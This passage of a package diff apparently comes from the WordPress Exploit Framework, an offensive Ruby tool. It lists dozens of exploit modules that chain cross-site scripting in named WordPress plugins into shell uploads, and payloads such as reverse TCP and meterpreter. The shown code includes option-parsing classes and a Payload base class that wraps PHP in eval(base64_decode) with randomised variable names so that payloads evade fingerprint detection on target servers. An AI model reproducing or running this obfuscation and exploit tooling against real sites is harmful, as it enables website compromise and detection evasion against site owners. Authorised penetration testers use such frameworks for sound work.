  326. data/lib/wpxf/modules/exploit/xss/reflected/propertyhive_csrf_xss_shell_upload.rb +37 -0
  327. data/lib/wpxf/modules/exploit/xss/reflected/quiz_and_survey_master_reflected_xss_shell_upload.rb +44 -0
  328. data/lib/wpxf/modules/exploit/xss/reflected/quotes_and_tips_reflected_xss_shell_upload.rb +20 -0
  329. data/lib/wpxf/modules/exploit/xss/reflected/quotes_collection_reflected_xss_shell_upload.rb +38 -0
  330. data/lib/wpxf/modules/exploit/xss/reflected/rating_bws_reflected_xss_shell_upload.rb +20 -0
  331. data/lib/wpxf/modules/exploit/xss/reflected/re_attacher_reflected_xss_shell_upload.rb +20 -0
  332. data/lib/wpxf/modules/exploit/xss/reflected/realty_reflected_xss_shell_upload.rb +20 -0
  333. data/lib/wpxf/modules/exploit/xss/reflected/registrationmagic_reflected_xss_shell_upload.rb +38 -0
  334. data/lib/wpxf/modules/exploit/xss/reflected/relevant_reflected_xss_shell_upload.rb +20 -0
  335. data/lib/wpxf/modules/exploit/xss/reflected/responsive_lightbox_reflected_xss_shell_upload.rb +39 -0
  336. data/lib/wpxf/modules/exploit/xss/reflected/rockhoist_badges_reflected_xss_shell_upload.rb +41 -0
  337. data/lib/wpxf/modules/exploit/xss/reflected/sender_reflected_xss_shell_upload.rb +20 -0
  338. data/lib/wpxf/modules/exploit/xss/reflected/simpel_reserveren_reflected_xss_shell_upload.rb +34 -0
  339. data/lib/wpxf/modules/exploit/xss/reflected/simple_slideshow_manager_reflected_xss_shell_upload.rb +39 -0
  340. data/lib/wpxf/modules/exploit/xss/reflected/slideshow_gallery_reflected_xss_shell_upload.rb +35 -0
  341. data/lib/wpxf/modules/exploit/xss/reflected/smart_marketing_xss_shell_upload.rb +37 -0
  342. data/lib/wpxf/modules/exploit/xss/reflected/social_buttons_pack_reflected_xss_shell_upload.rb +20 -0
  343. data/lib/wpxf/modules/exploit/xss/reflected/social_login_bws_reflected_xss_shell_upload.rb +20 -0
  344. data/lib/wpxf/modules/exploit/xss/reflected/social_pug_reflected_xss_shell_upload.rb +34 -0
  345. data/lib/wpxf/modules/exploit/xss/reflected/sp_project_document_manager_reflected_xss_shell_upload.rb +41 -0
  346. data/lib/wpxf/modules/exploit/xss/reflected/spamfree_reflected_xss_shell_upload.rb +44 -0
  347. data/lib/wpxf/modules/exploit/xss/reflected/spiffy_calendar_reflected_xss_shell_upload.rb +49 -0
  348. data/lib/wpxf/modules/exploit/xss/reflected/splashing_images_reflected_xss_shell_upload.rb +39 -0
  349. data/lib/wpxf/modules/exploit/xss/reflected/subscriber_reflected_xss_shell_upload.rb +20 -0
  350. data/lib/wpxf/modules/exploit/xss/reflected/tidio_gallery_reflected_xss_shell_upload.rb +34 -0
  351. data/lib/wpxf/modules/exploit/xss/reflected/timesheet_reflected_xss_shell_upload.rb +20 -0
  352. data/lib/wpxf/modules/exploit/xss/reflected/tracking_code_manager_reflected_xss_shell_upload.rb +34 -0
  353. data/lib/wpxf/modules/exploit/xss/reflected/tribulant_newsletter_reflected_xss_shell_upload.rb +39 -0
  354. data/lib/wpxf/modules/exploit/xss/reflected/tribulant_slideshow_gallery_reflected_xss_shell_upload.rb +34 -0
  355. data/lib/wpxf/modules/exploit/xss/reflected/trust_form_reflected_xss_shell_upload.rb +37 -0
  356. data/lib/wpxf/modules/exploit/xss/reflected/twitter_plugin_reflected_xss_shell_upload.rb +20 -0
  357. data/lib/wpxf/modules/exploit/xss/reflected/ultimate_csv_importer_reflected_xss_shell_upload.rb +83 -0
  358. data/lib/wpxf/modules/exploit/xss/reflected/ultimate_form_builder_lite_reflected_xss_shell_upload.rb +30 -0
  359. data/lib/wpxf/modules/exploit/xss/reflected/updater_reflected_xss_shell_upload.rb +20 -0
  360. data/lib/wpxf/modules/exploit/xss/reflected/user_access_manager_reflected_xss_shell_upload.rb +35 -0
  361. data/lib/wpxf/modules/exploit/xss/reflected/user_login_history_xss_shell_upload.rb +35 -0
  362. data/lib/wpxf/modules/exploit/xss/reflected/user_role_reflected_xss_shell_upload.rb +20 -0
  363. data/lib/wpxf/modules/exploit/xss/reflected/visitors_online_reflected_xss_shell_upload.rb +20 -0
  364. data/lib/wpxf/modules/exploit/xss/reflected/w3_total_cache_reflected_xss_shell_upload.rb +38 -0
  365. data/lib/wpxf/modules/exploit/xss/reflected/wang_guard_reflected_xss_shell_upload.rb +33 -0
  366. data/lib/wpxf/modules/exploit/xss/reflected/whizz_reflected_xss_shell_upload.rb +34 -0
  367. data/lib/wpxf/modules/exploit/xss/reflected/woo_email_control_reflected_xss_shell_upload.rb +41 -0
  368. data/lib/wpxf/modules/exploit/xss/reflected/wordpress_firewall_reflected_xss_shell_upload.rb +38 -0
  369. data/lib/wpxf/modules/exploit/xss/reflected/wp_advanced_importer_reflected_xss_shell_upload.rb +37 -0
  370. data/lib/wpxf/modules/exploit/xss/reflected/wp_filebase_download_manager_reflected_xss_shell_upload.rb +37 -0
  371. data/lib/wpxf/modules/exploit/xss/reflected/wp_live_chat_support_reflected_xss_shell_upload.rb +40 -0
  372. data/lib/wpxf/modules/exploit/xss/reflected/wp_mailster_reflected_xss_shell_upload.rb +38 -0
  373. data/lib/wpxf/modules/exploit/xss/reflected/wp_members_reflected_xss_shell_upload.rb +39 -0
  374. data/lib/wpxf/modules/exploit/xss/reflected/wp_retina_2x_xss_shell_upload.rb +39 -0
  375. data/lib/wpxf/modules/exploit/xss/reflected/wp_statistics_12.0.9_reflected_xss_shell_upload.rb +39 -0
  376. data/lib/wpxf/modules/exploit/xss/reflected/wp_statistics_reflected_xss_shell_upload.rb +38 -0
  377. data/lib/wpxf/modules/exploit/xss/reflected/wp_v4.4_xss_shell_upload.rb +54 -0
  378. data/lib/wpxf/modules/exploit/xss/reflected/wp_whois_domain_reflected_xss_shell_upload.rb +41 -0
  379. data/lib/wpxf/modules/exploit/xss/reflected/wpsolr_reflected_xss_shell_upload.rb +34 -0
  380. data/lib/wpxf/modules/exploit/xss/reflected/yoast_seo_xss_shell_upload.rb +34 -0
  381. data/lib/wpxf/modules/exploit/xss/reflected/zurl_preview_xss_shell_upload.rb +38 -0
  382. data/lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb +172 -0
  383. data/lib/wpxf/modules/exploit/xss/stored/all_in_one_seo_pack_xss_shell_upload.rb +208 -0
  384. data/lib/wpxf/modules/exploit/xss/stored/alo_easymail_csrf_xss_shell_upload.rb +48 -0
  385. data/lib/wpxf/modules/exploit/xss/stored/appointment_schedule_booking_system_stored_xss_shell_upload.rb +41 -0
  386. data/lib/wpxf/modules/exploit/xss/stored/arabic_font_csrf_stored_xss_shell_upload.rb +39 -0
  387. data/lib/wpxf/modules/exploit/xss/stored/caldera_forms_stored_xss_shell_upload.rb +38 -0
  388. data/lib/wpxf/modules/exploit/xss/stored/content_audit_csrf_stored_xss_shell_upload.rb +83 -0
  389. data/lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb +91 -0
  390. data/lib/wpxf/modules/exploit/xss/stored/dwnldr_xss_shell_upload.rb +58 -0
  391. data/lib/wpxf/modules/exploit/xss/stored/embed_comment_images_stored_xss_shell_upload.rb +57 -0
  392. data/lib/wpxf/modules/exploit/xss/stored/flickr_rss_csrf_xss_shell_upload.rb +38 -0
  393. data/lib/wpxf/modules/exploit/xss/stored/four04_to_three01_stored_xss_shell_upload.rb +50 -0
  394. data/lib/wpxf/modules/exploit/xss/stored/gwolle_guestbook_stored_xss_shell_upload.rb +47 -0
  395. data/lib/wpxf/modules/exploit/xss/stored/imageinject_csrf_xss_shell_upload.rb +53 -0
  396. data/lib/wpxf/modules/exploit/xss/stored/instagram_feed_csrf_stored_xss_shell_upload.rb +51 -0
  397. data/lib/wpxf/modules/exploit/xss/stored/ithemes_security_stored_xss_shell_upload.rb +40 -0
  398. data/lib/wpxf/modules/exploit/xss/stored/ithemes_security_v6.9.0_stored_xss_shell_upload.rb +40 -0
  399. data/lib/wpxf/modules/exploit/xss/stored/mdc_private_message_xss_shell_upload.rb +118 -0
  400. data/lib/wpxf/modules/exploit/xss/stored/newsletter_by_supsystic_csrf_stored_xss_shell_upload.rb +43 -0
  401. data/lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb +80 -0
  402. data/lib/wpxf/modules/exploit/xss/stored/safe_editor_xss_shell_upload.rb +60 -0
  403. data/lib/wpxf/modules/exploit/xss/stored/smart_google_code_inserter_xss_shell_upload.rb +39 -0
  404. data/lib/wpxf/modules/exploit/xss/stored/social_media_widget_csrf_xss_shell_upload.rb +39 -0
  405. data/lib/wpxf/modules/exploit/xss/stored/srbtranslatin_csrf_xss_shell_upload.rb +42 -0
  406. data/lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_authenticated_stored_xss_shell_upload.rb +48 -0
  407. data/lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_reflected_stored_xss_shell_upload.rb +37 -0
  408. data/lib/wpxf/modules/exploit/xss/stored/universal_analytics_authenticated_xss_shell_upload.rb +90 -0
  409. data/lib/wpxf/modules/exploit/xss/stored/user_login_log_authenticated_stored_xss_shell_upload.rb +45 -0
  410. data/lib/wpxf/modules/exploit/xss/stored/woo_custom_checkout_field_xss_shell_upload.rb +44 -0
  411. data/lib/wpxf/modules/exploit/xss/stored/wp_google_maps_stored_xss_shell_upload.rb +55 -0
  412. data/lib/wpxf/modules/exploit/xss/stored/wp_live_chat_support_stored_xss_shell_upload.rb +99 -0
  413. data/lib/wpxf/modules/exploit/xss/stored/wp_piwik_stored_xss_shell_upload.rb +36 -0
  414. data/lib/wpxf/modules/exploit/xss/stored/wp_v4.3_shortcode_xss_shell_upload.rb +55 -0
  415. data/lib/wpxf/net.rb +16 -0
  416. data/lib/wpxf/net/cookie_jar.rb +37 -0
  417. data/lib/wpxf/net/http_client.rb +206 -0
  418. data/lib/wpxf/net/http_options.rb +98 -0
  419. data/lib/wpxf/net/http_response.rb +44 -0
  420. data/lib/wpxf/net/http_server.rb +186 -0
  421. data/lib/wpxf/net/typhoeus_helper.rb +46 -0
  422. data/lib/wpxf/net/user_agent.rb +193 -0
  423. data/lib/wpxf/payloads/bind_php.rb +95 -0
  424. data/lib/wpxf/payloads/custom.rb +42 -0
  425. data/lib/wpxf/payloads/download_exec.rb +43 -0
  426. data/lib/wpxf/payloads/exec.rb +43 -0
  427. data/lib/wpxf/payloads/meterpreter_bind_tcp.rb +64 -0
  428. data/lib/wpxf/payloads/meterpreter_reverse_tcp.rb +50 -0
  429. data/lib/wpxf/payloads/reverse_tcp.rb +152 -0
  430. data/lib/wpxf/payloads/socket_helper.rb +50 -0
  431. data/lib/wpxf/utility.rb +12 -0
  432. data/lib/wpxf/utility/body_builder.rb +151 -0
  433. data/lib/wpxf/utility/reference_inflater.rb +34 -0
  434. data/lib/wpxf/utility/text.rb +81 -0
  435. data/lib/wpxf/versioning.rb +11 -0
  436. data/lib/wpxf/versioning/browser_versions.rb +56 -0
  437. data/lib/wpxf/versioning/os_versions.rb +18 -0
  438. data/lib/wpxf/wordpress.rb +24 -0
  439. data/lib/wpxf/wordpress/comments.rb +89 -0
  440. data/lib/wpxf/wordpress/file_download.rb +168 -0
  441. data/lib/wpxf/wordpress/fingerprint.rb +238 -0
  442. data/lib/wpxf/wordpress/hash_dump.rb +264 -0
  443. data/lib/wpxf/wordpress/login.rb +60 -0
  444. data/lib/wpxf/wordpress/options.rb +27 -0
  445. data/lib/wpxf/wordpress/plugin.rb +102 -0
  446. data/lib/wpxf/wordpress/posts.rb +26 -0
  447. data/lib/wpxf/wordpress/reflected_xss.rb +40 -0
  448. data/lib/wpxf/wordpress/shell_upload.rb +172 -0
  449. data/lib/wpxf/wordpress/staged_reflected_xss.rb +82 -0
  450. data/lib/wpxf/wordpress/stored_xss.rb +73 -0
  451. data/lib/wpxf/wordpress/urls.rb +131 -0
  452. data/lib/wpxf/wordpress/user.rb +35 -0
  453. data/lib/wpxf/wordpress/xss.rb +143 -0
  454. data/wpxf.gemspec +33 -0
  455. metadata +708 -0
@@ -0,0 +1,37 @@
1
+
2
+ # frozen_string_literal: true
3
+
4
+ module Wpxf
5
+ # A boolean option.
6
+ class BooleanOption < Option
7
+ # Check if the specified value is valid in the context of this option.
8
+ # @param value the value to validate.
9
+ # @return [Boolean] true if valid.
10
+ def valid?(value)
11
+ return false if empty_required_value?(value)
12
+ return true if !required? && empty?(value)
13
+
14
+ pattern = /^(y|yes|n|no|t|f|0|1|true|false)$/i
15
+ value?(value) && !value.to_s.match(pattern).nil?
16
+ end
17
+
18
+ # @param value the value to normalize.
19
+ # @return [Boolean] a normalized value to conform with the type that.
20
+ # the option is conveying.
21
+ def normalize(value)
22
+ valid?(value) && !value.to_s.match(/^(y|yes|t|1|true)$/i).nil?
23
+ end
24
+
25
+ # @param value the value to check.
26
+ # @return [Boolean] true if the value is a true boolean value.
27
+ def true?(value)
28
+ normalize(value)
29
+ end
30
+
31
+ # @param value the value to check.
32
+ # @return [Boolean] true if the value is a false boolean value.
33
+ def false?(value)
34
+ !true?(value)
35
+ end
36
+ end
37
+ end
@@ -0,0 +1,15 @@
1
+
2
+ # frozen_string_literal: true
3
+
4
+ module Wpxf
5
+ # An enum option.
6
+ class EnumOption < Option
7
+ # Check if the specified value is valid in the context of this option.
8
+ # @param value the value to validate.
9
+ # @return [Boolean] true if valid.
10
+ def valid?(value)
11
+ return false if value && !enums.include?(value)
12
+ super
13
+ end
14
+ end
15
+ end
@@ -0,0 +1,74 @@
1
+
2
+ # frozen_string_literal: true
3
+
4
+ module Wpxf
5
+ # An integer option.
6
+ class IntegerOption < Option
7
+ # Initializes a named option.
8
+ # @param attrs an object containing the following values
9
+ # * *name*: the name of the option (required)
10
+ # * *desc*: the description of the option (required)
11
+ # * *required*: whether or not the option is required
12
+ # * *default*: the default value of the option
13
+ # * *advanced*: whether or not this is an advanced option
14
+ # * *evasion*: whether or not this is an evasion option
15
+ # * *enums*: the list of potential valid values
16
+ # * *regex*: regex to validate the option value
17
+ # * *min*: the lowest valid value
18
+ # * *max*: the highest valid value
19
+ def initialize(attrs)
20
+ super
21
+
22
+ self.min = attrs[:min].to_i unless attrs[:min].nil?
23
+ self.max = attrs[:max].to_i unless attrs[:max].nil?
24
+ end
25
+
26
+ # @param value the value to normalize.
27
+ # @return [Integer] a normalized value to conform with the type that
28
+ # the option is conveying.
29
+ def normalize(value)
30
+ if value.to_s.match?(/^0x[a-fA-F\d]+$/)
31
+ value.to_i(16)
32
+ else
33
+ value.to_i
34
+ end
35
+ end
36
+
37
+ # @param value the value to validate.
38
+ # @return [Boolean] true if the value is a valid integer.
39
+ def valid_integer?(value)
40
+ value && !value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/).nil?
41
+ end
42
+
43
+ # @param value the value to validate.
44
+ # @return [Boolean] true if the value meets the minimum valid value
45
+ # requirement.
46
+ def meets_min_requirement?(value)
47
+ min.nil? || (normalize(value) >= min)
48
+ end
49
+
50
+ # @param value the value to validate.
51
+ # @return [Boolean] true if the value meets the maximum valid value
52
+ # requirement.
53
+ def meets_max_requirement?(value)
54
+ max.nil? || (normalize(value) <= max)
55
+ end
56
+
57
+ # Check if the specified value is valid in the context of this option.
58
+ # @param value the value to validate.
59
+ # @return [Boolean] true if valid.
60
+ def valid?(value)
61
+ return true if value.nil? && !required?
62
+ return false unless valid_integer?(value)
63
+ return false unless meets_min_requirement?(value)
64
+ return false unless meets_max_requirement?(value)
65
+ super
66
+ end
67
+
68
+ # @return [Integer, nil] the lowest valid value.
69
+ attr_accessor :min
70
+
71
+ # @return [Integer, nil] the highest valid value.
72
+ attr_accessor :max
73
+ end
74
+ end
@@ -0,0 +1,121 @@
1
+
2
+ # frozen_string_literal: true
3
+
4
+ module Wpxf
5
+ # The base class for all module options.
6
+ class Option
7
+ # Initializes a named option.
8
+ # @param attrs an object containing the following values
9
+ # * *name*: the name of the option (required)
10
+ # * *desc*: the description of the option (required)
11
+ # * *required*: whether or not the option is required
12
+ # * *default*: the default value of the option
13
+ # * *advanced*: whether or not this is an advanced option
14
+ # * *evasion*: whether or not this is an evasion option
15
+ # * *enums*: the list of potential valid values
16
+ # * *regex*: regex to validate the option value
17
+ def initialize(attrs)
18
+ if attrs[:name].nil? && attrs[:desc].nil?
19
+ raise 'A value must be specified for :name and :desc'
20
+ end
21
+
22
+ self.name = attrs[:name]
23
+ self.desc = attrs[:desc]
24
+ update_optional_attributes(attrs)
25
+ end
26
+
27
+ # Update the optional attributes of the option.
28
+ # @param attrs [Hash] the new values.
29
+ def update_optional_attributes(attrs)
30
+ self.required = attrs[:required] || false
31
+ self.default = attrs[:default]
32
+ self.advanced = attrs[:advanced] || false
33
+ self.evasion = attrs[:evasion] || false
34
+ self.enums = attrs[:enums]
35
+ self.regex = attrs[:regex]
36
+ end
37
+
38
+ # @return [Boolean] true if this is an advanced option.
39
+ def advanced?
40
+ advanced
41
+ end
42
+
43
+ # @return [Boolean] true if this is an evasion option.
44
+ def evasion?
45
+ evasion
46
+ end
47
+
48
+ # @return [Boolean] true if this is a required option.
49
+ def required?
50
+ required
51
+ end
52
+
53
+ # Checks if the specified value is valid in the context of this option.
54
+ # @param value the value to validate.
55
+ # @return [Boolean] true if valid.
56
+ def valid?(value)
57
+ return false if empty_required_value?(value)
58
+ return true if !required? && empty?(value)
59
+ return value.to_s.match?(regex) if regex
60
+
61
+ true
62
+ end
63
+
64
+ # @param value the value to check.
65
+ # @return [Boolean] true if the value is nil or empty.
66
+ def empty?(value)
67
+ value.nil? || value.to_s.empty?
68
+ end
69
+
70
+ # @param value the value to check.
71
+ # @return [Boolean] true if the value is not nil or empty.
72
+ def value?(value)
73
+ !empty?(value)
74
+ end
75
+
76
+ # @param value the value to check against.
77
+ # @return [Boolean] true if the value supplied is nil or empty and
78
+ # it's required to be a valid value.
79
+ def empty_required_value?(value)
80
+ required? && empty?(value)
81
+ end
82
+
83
+ # @param value the value to normalize.
84
+ # @return a normalized value to conform with the type that the option
85
+ # is conveying.
86
+ def normalize(value)
87
+ value
88
+ end
89
+
90
+ # @param value the value to get the display value of.
91
+ # @return [String] a string representing a user-friendly display of
92
+ # the chosen value.
93
+ def display_value(value)
94
+ value.to_s
95
+ end
96
+
97
+ # @return [String] the name of the option.
98
+ attr_accessor :name
99
+
100
+ # @return [Boolean] whether or not the option is required.
101
+ attr_accessor :required
102
+
103
+ # @return [String] the description of the option.
104
+ attr_accessor :desc
105
+
106
+ # @return [Object, nil] the default value of the option.
107
+ attr_accessor :default
108
+
109
+ # @return [Boolean] whether or not this is an advanced option.
110
+ attr_accessor :advanced
111
+
112
+ # @return [Boolean] whether or not this is an evasion option.
113
+ attr_accessor :evasion
114
+
115
+ # @return [Array, nil] the list of potential valid values.
116
+ attr_accessor :enums
117
+
118
+ # @return [String, nil] an optional regex to validate the option value.
119
+ attr_accessor :regex
120
+ end
121
+ end
@@ -0,0 +1,15 @@
1
+
2
+ # frozen_string_literal: true
3
+
4
+ module Wpxf
5
+ # A file system path option.
6
+ class PathOption < Option
7
+ # Check if the specified value is valid in the context of this option.
8
+ # @param value the value to validate.
9
+ # @return [Boolean] true if valid.
10
+ def valid?(value)
11
+ return super if empty?(value)
12
+ File.exist?(value)
13
+ end
14
+ end
15
+ end
@@ -0,0 +1,25 @@
1
+
2
+ # frozen_string_literal: true
3
+
4
+ module Wpxf
5
+ # A network port option.
6
+ class PortOption < Option
7
+ # @param value the value to normalize.
8
+ # @return [Integer] a normalized value to conform with the type that
9
+ # the option is conveying.
10
+ def normalize(value)
11
+ value.to_i
12
+ end
13
+
14
+ # Check if the specified value is valid in the context of this option.
15
+ # @param value the value to validate.
16
+ # @return [Boolean] true if valid.
17
+ def valid?(value)
18
+ if value.to_s.match(/^\d+$/).nil? || (value.to_i.negative? || value.to_i > 65_535)
19
+ return false
20
+ end
21
+
22
+ super
23
+ end
24
+ end
25
+ end
@@ -0,0 +1,33 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Wpxf
4
+ # A string option.
5
+ class StringOption < Option
6
+ # @param value the value to normalize. If a string starting with
7
+ # "file:" is specified, the path following it will be used to populate
8
+ # the value from the contents of the file.
9
+ # @return [String] a normalized value to conform with the type that
10
+ # the option is conveying.
11
+ def normalize(value)
12
+ match = value&.match(/^file:(.*)/)
13
+ if match
14
+ path = match[1]
15
+ begin
16
+ value = File.read(path)
17
+ rescue ::Errno::ENOENT, ::Errno::EISDIR
18
+ value = nil
19
+ end
20
+ end
21
+
22
+ value
23
+ end
24
+
25
+ # Check if the specified value is valid in the context of this option.
26
+ # @param value the value to validate.
27
+ # @return [Boolean] true if valid.
28
+ def valid?(value)
29
+ value = normalize(value)
30
+ super(value)
31
+ end
32
+ end
33
+ end
@@ -0,0 +1,67 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Wpxf
4
+ # Provides methods for emitting events that should output information
5
+ # to the user interface of the calling application.
6
+ module OutputEmitters
7
+ # Emit a successful operation event.
8
+ # @param message [String] the message to output.
9
+ # @param verbose [Boolean] the verbose level flag.
10
+ def emit_success(message, verbose = false)
11
+ event_emitter.emit(
12
+ event: :output,
13
+ verbose: verbose,
14
+ type: :success,
15
+ msg: message
16
+ )
17
+ end
18
+
19
+ # Emit a general info event.
20
+ # @param message [String] the message to output.
21
+ # @param verbose [Boolean] the verbose level flag.
22
+ def emit_info(message, verbose = false)
23
+ event_emitter.emit(
24
+ event: :output,
25
+ verbose: verbose,
26
+ type: :info,
27
+ msg: message
28
+ )
29
+ end
30
+
31
+ # Emit a warning event.
32
+ # @param message [String] the message to output.
33
+ # @param verbose [Boolean] the verbose level flag.
34
+ def emit_warning(message, verbose = false)
35
+ event_emitter.emit(
36
+ event: :output,
37
+ verbose: verbose,
38
+ type: :warning,
39
+ msg: message
40
+ )
41
+ end
42
+
43
+ # Emit an error event.
44
+ # @param message [String] the message to output.
45
+ # @param verbose [Boolean] the verbose level flag.
46
+ def emit_error(message, verbose = false)
47
+ event_emitter.emit(
48
+ event: :output,
49
+ verbose: verbose,
50
+ type: :error,
51
+ msg: message
52
+ )
53
+ end
54
+
55
+ # Emit an event containing tabular data.
56
+ # @param rows [Array] an array of hashes containing the row data.
57
+ # @param verbose [Boolean] the verbose level flag.
58
+ def emit_table(rows, verbose = false)
59
+ event_emitter.emit(
60
+ event: :output,
61
+ verbose: verbose,
62
+ type: :table,
63
+ rows: rows
64
+ )
65
+ end
66
+ end
67
+ end
@@ -0,0 +1,135 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'base64'
4
+
5
+ module Wpxf
6
+ # The base class for all payloads.
7
+ class Payload
8
+ include Wpxf::Options
9
+
10
+ def initialize
11
+ super
12
+
13
+ register_options([
14
+ BooleanOption.new(
15
+ name: 'encode_payload',
16
+ desc: 'Encode the payload to avoid fingerprint detection',
17
+ required: true,
18
+ default: true
19
+ )
20
+ ])
21
+
22
+ self.queued_commands = []
23
+ end
24
+
25
+ # @return an encoded version of the payload.
26
+ def encoded
27
+ compiled = _raw_payload_with_random_var_names
28
+ if normalized_option_value('encode_payload')
29
+ "<?php eval(base64_decode('#{Base64.strict_encode64(compiled)}')); ?>"
30
+ else
31
+ "<?php #{compiled} ?>"
32
+ end
33
+ end
34
+
35
+ # Helper method to escape single quotes in a string.
36
+ # @param val [String] the string with quotes to escape.
37
+ # @return [String] the string with quotes escaped.
38
+ def escape_single_quotes(val)
39
+ val.gsub(/'/) { "\\'" }
40
+ end
41
+
42
+ # Generate a random variable name.
43
+ # @return [String] a random name beetween 5 and 20 alpha characters.
44
+ def random_var_name
45
+ Utility::Text.rand_alpha(rand(5..20))
46
+ end
47
+
48
+ # Generate a hash of variable names.
49
+ # @param keys [Array] an array of keys.
50
+ # @return [Hash] a hash containing a unique name for each key.
51
+ def generate_vars(keys)
52
+ vars = {}
53
+ keys.each do |key|
54
+ loop do
55
+ var_name = random_var_name
56
+ unless vars.value?(var_name)
57
+ vars[key] = random_var_name
58
+ break
59
+ end
60
+ end
61
+ end
62
+ vars
63
+ end
64
+
65
+ # Do any pre-exploit setup required by the payload.
66
+ # @param mod [Module] the module using the payload.
67
+ # @return [Boolean] true if successful.
68
+ def prepare(mod)
69
+ true if mod
70
+ end
71
+
72
+ # Run payload specific post-exploit procedures.
73
+ # @param mod [Module] the module using the payload.
74
+ # @return [Boolean] true if successful.
75
+ def post_exploit(mod)
76
+ true if mod
77
+ end
78
+
79
+ # Cleanup any allocated resource to the payload.
80
+ def cleanup
81
+ nil
82
+ end
83
+
84
+ # Run checks to raise warnings to the user of any issues or noteworthy
85
+ # points in regards to the payload being used with the current module.
86
+ # @param mod [Module] the module using the payload.
87
+ def check(mod)
88
+ nil
89
+ end
90
+
91
+ # @return [Hash] a hash of constants that should be injected at the
92
+ # beginning of the payload.
93
+ def constants
94
+ {}
95
+ end
96
+
97
+ # @return [Array] an array of variable names that should be obfuscated in
98
+ # the payload that is generated.
99
+ def obfuscated_variables
100
+ ['wpxf_disabled', 'wpxf_output', 'wpxf_exec', 'wpxf_cmd', 'wpxf_handle', 'wpxf_pipes', 'wpxf_fp']
101
+ end
102
+
103
+ # @return [String] the PHP preamble that should be included at the
104
+ # start of all payloads.
105
+ def php_preamble
106
+ preamble = DataFile.new('php', 'preamble.php').php_content
107
+ constants.each do |k, v|
108
+ preamble += " $#{k} = " + (v.is_a?(String) ? "'#{escape_single_quotes(v)}'" : v.to_s) + ";\n"
109
+ end
110
+ preamble
111
+ end
112
+
113
+ # Enqueue a command to be executed on the target system, if the
114
+ # payload supports queued commands.
115
+ # @param cmd [String] the command to execute when the payload is executed.
116
+ def enqueue_command(cmd)
117
+ queued_commands.push(cmd)
118
+ end
119
+
120
+ # @return the payload in its raw format.
121
+ attr_accessor :raw
122
+
123
+ # @return [Array] the commands queued to be executed on the target.
124
+ attr_accessor :queued_commands
125
+
126
+ private
127
+
128
+ def _raw_payload_with_random_var_names
129
+ payload = +"#{php_preamble} #{raw}"
130
+ vars = generate_vars(obfuscated_variables)
131
+ obfuscated_variables.each { |v| payload.gsub!("$#{v}", "$#{vars[v]}") }
132
+ payload
133
+ end
134
+ end
135
+ end